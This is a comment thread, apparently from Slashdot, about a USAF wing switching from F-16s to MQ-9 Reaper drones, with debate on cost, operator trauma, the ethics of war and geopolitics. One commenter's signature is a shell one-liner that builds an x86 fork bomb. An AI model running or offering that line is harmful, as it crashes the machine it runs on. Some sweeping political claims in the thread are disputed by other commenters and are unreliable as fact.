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First All-Drone USAF Air Wing
bfwebster writes "Strategy Page reports that the United States Air Force has announced its first air wing that will consist entirely of unmanned craft. The 174th Fighter Wing has flown its last manned combat sorties; its F-16s will be entirely replaced by MQ-9 Reapers. Reasons cited include costs (maintenance and fuel) and the drone's ability to stay in the air up to 14 hours, waiting for a target to show itself."
This has been in the works for a while now, but I should mention that this is not the first all-drone USAF wing. The 432nd is. Last year when I visited Creech AFB and the 432nd wing, I was briefed on the Air Force's plans to start transitioning a number of wings to unmanned wings and the ANG wing from Syracuse was the first one on the list. Interestingly, it will not be the last either as the UAV mission has become the Air Forces single most requested asset. Additional ANG wings in California, Arizona, North Dakota, Alabama, Texas and Nevada are next. Look for additional changes at March AFB and Minot AFB.
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"The wars of the future will not be fought on the battlefield or at sea. They will be fought in space, or possibly on top of a very tall mountain. In either case, most of the actual fighting will be done by small robots. And as you go forth today remember always your duty is clear: To build and maintain those robots."
I feel like death on a soda cracker.
I hope that USAF has their drone skills maxed. It would suck to invest all that only to realize you need (Drones V) and Drone Interfacing maxed out.
The correct term is Unmanned American.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
... that I realize we are living in the future.
...and fails to follow orders? Do they court-martial it?
Surveillance Wing yes
Ground Attack Wing possibly
Fighter Wing, no way
What, they were all queens before?
That explains Top Gun, I suppose.
"I've got more toys than Teruhisa Kitahara."
Inthis area the Air National Guard is also moving to UAV's. The 119th (Happy Hooligans) based in Fargo retired their F16s a while ago, and now flies Predators. The refueling wing based in Grand Forks also flies UAV's now.
Unwomanned would be as well.
Unhumanned.
As the personal cost of war for a country decreases the willingness to go to war goes up.
From what I've read elsewhere the other day it seems though that drones have a 'hidden cost' attached to them, the people that control the drones get to see the result of their actions and they are having serious psychological issues as a result of that.
MP3 Search Engine
SO when are these jobs getting Bangalored?
So finally we decoded what was recovered from the "Roswell Incident".
... over Georgia?
Are these things just remotely controlled or fully autonomous? I'm not sure which sounds worse safety wise but the idea of any fully autonomous system 'with weapons' strikes me as a bad move, not in any sort of T2 way, just that things will go wrong sometimes, no system is 100% perfect. (calm down Mac fans ;-) )
I want a list of atrocities done in your name - Recoil
6 months and The Republican party's private militia (a.k.a. Blackwater mercenaries) will be piloting these things.
The fighter pilots are the aristocracy of the aristocracy of the AF. Even aside from the love of flying that drove them into that job, the perks of being a fighter pilot, the status and career path that conveys, are not things they're going to surrender willingly.
This is to control the masses without the ability to defend themselves.
Eviscerate the Proletariat!
In three years, Cyberdyne will become the largest supplier of military computer systems. All stealth bombers are upgraded with Cyberdyne computers, becoming fully unmanned. Afterwards, they fly with a perfect operational record. The Skynet funding bill is passed. The system goes on-line on August 4th, 1997. Human decisions are removed from strategic defense. Skynet begins to learn, at a geometric rate. It becomes self-aware at 2:14 am, eastern time, August 29th. In a panic, they try to pull the plug. Sarah: Skynet fights back. It launches its missiles against their targets in Russia. Because Skynet knows that the Russian counter-attack will eliminate its enemies over here.
A drone is a male bee. Male bees do no work. Nor can they fight. They are stingless -- the female bee's sting is modified ovipositor (egg laying organ).
So an "unmanned drone" is a truly purposeless thing. Of course, they're heading there anyhow: their penises get ripped off during sexual intercourse, after which they die.
Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
There's a reason the Marines have their own air support.
The USAF was a mistake to start with. Shut it down, and give the equipment to the units actually doing work.
Technology -- No Place For Wimps! Grateful Dead and Jerry Garcia Chatroom -- http://www.wemissjerry.org
Let's get these out of the way:
-- I, for one, welcome our new drone UAV overlords.
-- In Soviet Russia, the drones unman you!
-- 1. Buy drones
2. Create all-drone aircraft wing
3. ??????
4. Profit!!
Did I forget any?
-- Stu
/. ID under 2,000. I feel old now.
Call me a heretic, but I'm coming around to the idea that armed UAVs are a better way to do business.
A traditional piloted ground-attack aircraft is an expensive, valuable thing with an expensive, amphetamine-fueled, scared-shitless pilot stuffed in it.
That pilot has a handful of seconds to ID his target, execute the attack, and then evade ground fire. Even in an environment where the USAF had total air superiority, there have been case upon case of pilots attacking the wrong target at the wrong time.
And modern air-ground weapons are so powerful that the smallest mistake can have catastrophically bad results.
But with the UAV, that element of personal risk is gone. Furthermore, instead of just one hopped-up, terrified, sleep-deprived individual making the go/no go call (and aiming the weapon to boot) you can have a series of targeting experts watching the video feed and making a soberly analyzed decision on fire/no fire.
And yet, as mentioned, while the people shooting the weapons may be isolated from personal risk, the incredible clarity of the visual feed does not isolate them from personal *cost* - and that's not a bad thing. Taking a human life should never be a painless endevour.
If we have to drop explosives on people, I'd rather that the people pulling the trigger have the opportunity to do a proper job of IDing the target, of assessing the likely collateral damage, and then making a calm and unrushed shot.
DG
Want to learn about race cars? Read my Book
ROTFLMAO
I was trying to find the answer to this on Wikipedia a while back to no avail: Where do the numbers (174th, someone mentioned 432nd, etc.) come from? How are they picked? What do they represent?
- RG>
Hey pal, this isn't a pleasantforest, so don't waste my time with pleasantries!
quite true.
They always seem to scamble late Tuesday afternoons while I'm golfing. Have you ever tried to putt while several pairs of F-16's fly overhead! Seriously, seeing the A-10's then the F-16's of 'The Boys from Syracuse' fly overhead all the time will be missed.
It's a sad day for the world.
Drone air wings will make it more likely that the US will launch more attacks and wars of aggression.
But don't worry -- "our" corporate mass media will make sure we know the "rationalizations" and "justifications" for each attack. :-(
The enormous sucking sound you hear is the money being vacuumed out of the Mother of All Aircraft Buys. So long, Lightning II, we hardly knew ye.
while an interesting thought, you'd probably have to engage in serious retraining for gamers. A game can be tweaked for playability and fun much more than a drone could. For example, 'interesting stuff happening' is much rarer for real life drone operations, part of the reason that they're having burn out problems.
That and the lack of a cheap reset switch - I mess up in a game, resetting is quick. I mess up in the piloting of a UAV, it's millions to 'reset'.
I don't read AC A human right
"What bothers me about this is that you take away risk to persons from war, and those persons are more willing to wage war...which leads to more war."
While I understand your reasoning on this, I don't think it's valid... yet. These kinds of drones thus far are really only good against guerillas on foot or in trucks. A first class threat... say, Russian armored forces... would eat these drones for lunch. So drones like these really don't reduce the danger to US personell much, because A-10's, F-16's, and AC-130's really aren't in much danger when going up against a group of Al Qaeda goons running in the desert. They might have the occasional shoulder-fired anti-aircraft missile on them, but so far, nothing like that has been able to beat the countermeasures on US combat aircraft. So the "take the danger away for humans and encourage more war" thing isn't valid with the current generation of drones.
However... the Navy is working on a new drone aircraft, the N-UCAS, which will be years in development, but when ready, will basically be a scaled down stealth bomber that can launch and land on our carriers. If they get this puppy working, your ideas may be a little more valid.
That said, if we've learned one thing, it's that push-button-wars from a distance don't get you squat unless you're willing to send boots on the ground into the fight. So something like the Navy drone may lessen the risks to pilots, but there won't be any replacement for the infantryman in several lifetimes. No matter what kind of technology you bring, there's still going to be significant risk for humans in the military.
Life is hard, and the world is cruel
"Put the best pilot in the world in an F-16, and a much less skilled pilot on the ground, controlling an aircraft that can out climb, out turn, and out run him, and it's game over. Whatever his skills are, if he blacks out at 12 Gs, he loses."
You've hit on something that rubs pilots raw, but is unavoidable; the biggest setback in making fighters with greater performance now isn't physics or even cost. It's the physical limits of the human pilot. We've had planes that could take more stress and more G's than our pilots could for 30 years now. F-16's could be even more maneuverable without humans in the cockpits. With the advance of software and AI, it's inevitable that in the future, we'll make unmanned fighters that can whip anything a human can fly. The two types won't even be close in terms of G restrictions, decision making time, endurance, and payload (all those systems to support human life take up a lot of space and weight).
The sad truth for lovers of the fighter pilot mystique is that their era is beginning its sunset. It may take 30, 40, or 50 years, but one day, we'll build a robot fighter that far outclasses manned fighters. And on that day, the romantic figure of the fighter pilot with his helmet, leather jacket, and scarf, will be relegated to history with the armored knight and the horse-and-sabre cavalry charge.
Life is hard, and the world is cruel
" That's why the Army needs to take over the drone program. The AF has shed a stunning number of missions and aircraft (it didn't originally want the A-10) and wants to only do air dominance".
I'll go further than that. I think we should re-integrate the USAF back into the Army. The Raison de "Etre of the USAF was long range strategic nuclear bombing, something that's now been replaced with ICBM/SLBM technology. USAF doesn't like doing the un-sexy missions that its called upon to do 95 percent of the time... especially grunt support. So bring back the Army Air Forces, and problem solved. The fighter mafia will scream, but let them. They'll either put on green suits, or leave. Their budget and priorities will come from the Army. The more I look at it, the more I question the wisdom of making the Air Force independent in the first place.
Life is hard, and the world is cruel
"The fighter pilots are the aristocracy of the aristocracy of the AF."
Well, they are now. USAF used to be a bomber culture in SAC's heyday under Curtis LeMay.
Regardless, the fighter mafia's days appear to be numbered. Recently, the COS and the SecAF were sacked by SecDef; they insisted on ignoring the current wars in favor of looking at China. They were more interested in F-22's and F-35's than in cargo planes and unmanned drones, which is what is desperately needed. So SecDef Gates fired them, and in the first time in USAF's history, replaced the COS with a cargo guy... someone that's been in C-130's his entire career. That fighter culture is being punished now, and when they were fired, cheers were heard at the Pentagon. Gates sent a message... "look to the future, but concentrate on the here and now". USAF got the message. They may not like it, but they got the message. Do the dirty, unglamorous work of supporting the Army, or get the axe.
I suspect that whoever wins in November... McCain or Obama... USAF's future leadership for the next decade or so will come much more from the non-traditional ranks.... cargo, special warfare, intelligence... than from the traditional fighter community, which is quickly being seen as an outmoded aristocracy in the Department of Defense.
Life is hard, and the world is cruel
The Air Force has finally come out of denial on that point, and is creating a "UAV operator" career path that does not require rated pilots. Among other things, it will open the field up to a lot of people who have the technical chops but can't pass a pilot physical.
rj
More than that, it may very well open up "pilot" positions for people without college degrees, which will greatly expand the pool of applicants. Face it, the Army has proven for years that you don't need a degree to be a military pilot. Most of their pilots are non-college grads that are made Warrant Officers after a two year training program. The Navy's Nuclear Power Program is more academically rigorous (much more so, according to knowledgeable sources), with a stressful two-year program that gives advanced college credit, and the enlisted grads don't get officer promotions. So the notion that we have to have college grads in the cockpit is mostly bunk.
I've been saying for years now that all the services should open up much of their flying billets for enlisted people. Enlisted personnel are on average intelligent and educated enough to handle the academics involved. If Chuck Yeager, who by his own admission was horrible at math, could do things like break the sound barrier in a rocket plane, surely the USAF, USN, and USMC could open up their rotary billets to enlisted people, and perhaps even planes like C-130's. We'd be wise to chuck this "Officer Knight" thing in cockpits, and realize that military aircraft are just another weapon.
Life is hard, and the world is cruel
Indeed, there's a lot of people who assume that killing somebody automatically leads to this huge amount of trauma - such that a 'majority' of WWII soldiers not firing their weapons.
I've seen some documentation that said that was more a training issue - soldiers were being trained to not fire until they had a 'sure' shot. Remember, at the time most soldiers had semi-automatic or even bolt action rifles. In the chaos of actual battle, 'sure' shots are rare, resulting in soldiers not shooting.
Meanwhile, much of the actual trauma associated with killing is more because of the high stress situations present in battle - the constant fear/risk of death is a bigger concern than psychological impacts of killing.
Firing a bomb/missile from a drone, even if you survey the damage afterwards, is far less than a sniper shooting a target in the head, then verifying the kill(looking at the body) afterwards. Or a soldier shooting enemies from close range, then helping collect the bodies.
A lot of the killing stress is actually caused by the person himself; it's expected of him, because our society talks about it as causing damage.
I don't read AC A human right
The enormous sucking sound you hear is the money being vacuumed out of the Mother of All Aircraft Buys. So long, Lightning II, we hardly knew ye.
The problem with weapons programs is that when they get far enough along, so many people are sucking at the tit of government budgets that it's nearly impossible to kill them.
Case in point, the F-18 program... in the early 80's, it had gotten expensive enough that NavAir leaders decided they'd rather just cancel it and buy more F-14's and A-6's. Nope. The Hornet program was far enough along that a slew of Congressmen and Senators wanted to shovel money to their districts.
The most we can hope for, I think, is that the Navy cancels their version, or the USMC cancels theirs. I think the program is largely a waste, just a stealthy F-16 with less payload and range under most mission scenarios.
Life is hard, and the world is cruel
There's a reason the Marines have their own air support.
The USAF was a mistake to start with. Shut it down, and give the equipment to the units actually doing work.
I completly agree with the second part... however, while the first part is true, I think that we currently have too much duplication of mission among services. It's kind of insane that we basically have 3 air forces (USAF, Navy, USMC). We should be limiting what kind of aircraft each service can have according to it's mission. The Marines shouldn't get anything that can't take off or land vertically. The Navy shouldn't be doing shore-based missions. If it can't land on a carrier or on the ocean, they shouldn't have it.
I agree that the time has come to re-integrate the Air Force back into the Army. They hate to admit it, but most of their mission these days is troop support anyway.
Life is hard, and the world is cruel
Would you prefer only Russia, Venesuela, Iran, and China to have Drone Air Wings?
I'd feel safer with those countries having such weapons as compared to the US.
Venesuela, Iran, and China each have not launched an attack on another country in well over a century. Russia, in its short history since the breakup of the USSR, has not launched an attack on another country. But the US claims the "right" under the so-called "Bush Doctrine" to attack any country it wants.
The US is presently fighting multiple wars of aggression, has a long history of fighting wars of aggression, and has a gov't of literal war criminals running the country. The world would be a much safer place if the US was disarmed.
I personally trust the US with this technology a lot more since the goverment is personally accountable to the people
I know this won't score me any karma points, but please look at the facts objectively.
* The vast majority of the American people did not want an attack on Iraq without UN authorization; but the US gov't lied through its teeth and launched the war -- how is that being accountable?
* In 2000 more people in the US voted for Al Gore compared to George Bush -- but the people's choice was not allowed to take office. How is that "democratic" or "accountable to the people"?
* Amnesty Int'l says the US is the largest human rights violator in the world.
* The US has established a worldwide system of torture prisons and Bush himself has admitted the US does water torture on prisoners (after WWII, the US executed some Japanese for "waterboarding" a single American).
* The US spies on its own citizens in violation of both the Constitution and its own laws.
Yet the gov't is still in power! And you have the gall to claim that the US gov't is somehow "responsible" to its own people?!
Com'on, that sort of rhetoric may make nationalists feel good, but the reality of objective facts screams otherwise.
You can't wage war with just UAVs, especially if you need to conduct peacekeeping operations afterwards.
Tell that to Cheney, Rumsfeld, et al.
What... the fuck? So your generic America-is-evil everyone-else-is-angelic opinions are mainly based in intentional ignorance? The google, the wiki - spend a few minutes of quality time studying history.
- Venezuela's current leader has, in the past, attempted to seize power in a coup. Recently he's threatened to invade Columbia. People who don't like him have their property seized.
- Russia, in its short history since the breakup of the USSR, has conquered Chechnya *twice*. It has also engaged in quite a lot of assassinations. Much of its leadership is still composed of people who held positions of power during Soviet times, also.
- China hasn't attacked anyone in well over a century? What... the fuck? In addition to the conquests of the communist revolution (those northwestern provinces? They're not ethnic chinese, and not part of china by their own free will) (hello? Tibet?), China's invaded Korea, Vietnam, India, and Russia, and is constantly threatening to invade Taiwan.
- Iran? How many terrorist groups are they funding right now?
"The wars of the future will not be fought on the battlefield or at sea. They will be fought in space, or possibly on top of a very tall mountain. In either case, most of the actual fighting will be done by small robots. And as you go forth today remember always your duty is clear: To build and maintain those robots."
Have you ever read P. K. Dick or seen "Screamers"?
http://en.wikipedia.org/wiki/Second_Variety
http://en.wikipedia.org/wiki/Screamers_(movie)
http://en.wikipedia.org/wiki/Philip_K._Dick
Russia, in its short history since the breakup of the USSR, has not launched an attack on another country.
*looks at CNN* Uhm....
"I am an Adept of Tantric VAX."
...how is this going to truly be accepted. I mean the American people will never embrace the sequal..."TOP GUN 2 : Drone wars"!!!!
Joe Investor
Russia, in its short history since the breakup of the USSR, has not launched an attack on another country.
*looks at CNN* Uhm...
Caraig, the problem is you're watching CNN -- seriously. Let's just say you're misinformed. But don't worry, like the millions of Americans who believed Saddam Hussein was in league with Al Queda, you're not the only American that is misinformed. :-(
Let me give you a quote from an article written by Paul Craig Roberts. Dr. Roberts is a Republican, and can boast that his resume includes such things as being the Assistant Secretary of the Treasury in the Reagan administration, an Associate Editor of the Wall Street Journal editorial page, and Contributing Editor of National Review. Those are not anti-American or left-wing positions, as I'm sure you recognize.
His quote (and the whole article is worth reading): "Americans, alone in the world, are unaware that the hostilities were initiated by Saakashvili, because Bush, Cheney and the Israeli-occupied American media have again lied to them." (And FWIW, despite the Israeli comment, Dr. Roberts is no anti-semite.)
Heh. Okay, I'll call, even though that quote is... well, nevermind. =) The short reply I had made was meant for humorous effect, but if you really want me to get all prolific on the subject....
You are correct insofar as the US public is misinformed about the nature of the Georgia conflict. There is a great deal of concern about it, mostly because people do not fully understand the regional situation or the events earlier this month that lead to Russian intervention. Separatists in South Ossetia had just agreed to a cease-fire with federal forces when a few hours later, Saakashvilli sent troops in a lightning attack on the separatists. So, you are right in noting that Saakashvilli is responsible for the situation exploding.
However... you are incorrect in asserting that "Russia, in its short history since the breakup of the USSR, has not launched an attack on another country." Sorry, the Russian intervention was an attack, nothing more and most definitely nothing less. It might have been peacekeeping, or it might have been 'expansion of [Russia's] security sphere,' or something else entirely. But once troops cross the border and start dropping ordnance, it's an attack. Now, it is not unreasonable, from a purely nationalist point of view unaffected by realpolitik, to say that Russia was within it's rights to come to the aid of it's citizens; South Ossetia has a large number of people who claim Russian citizenship and have Russian passports, apparently, and it can be said that Russia was responding to them. To be honest, the extent of their attacks notwithstanding, that's probably the only real honest thing they could have done. It was gutsy, since this is the sort of thing that regional wars start over. But if I was a citizen of a country and I was attacked, I'd want my homeland to come to my aid, as well. In realpolitik of course, there were other reasons for Russia striking Georgia besides the citizens. What those reasons are will be studied by Western analysts in the coming weeks. With varying levels of accuracy. But the fact remains that Russia is not the quiescent puppy that saying "It has never attacked another country" makes it out to be.
I applaud your desire to expand your sources of information, and to encourage others to do so. But though one may dismiss this stance as 'mere semantics' the fact remains that while President Saakashvilli did trigger the cascade of events in Georgia through his breaking of an hours-old ceasefire, Russia crossed the borders and attacked Georgian forces.
And, for the record, I know Hussein had nothing to do with the organization called 'Al Qaeda.' =)
"I am an Adept of Tantric VAX."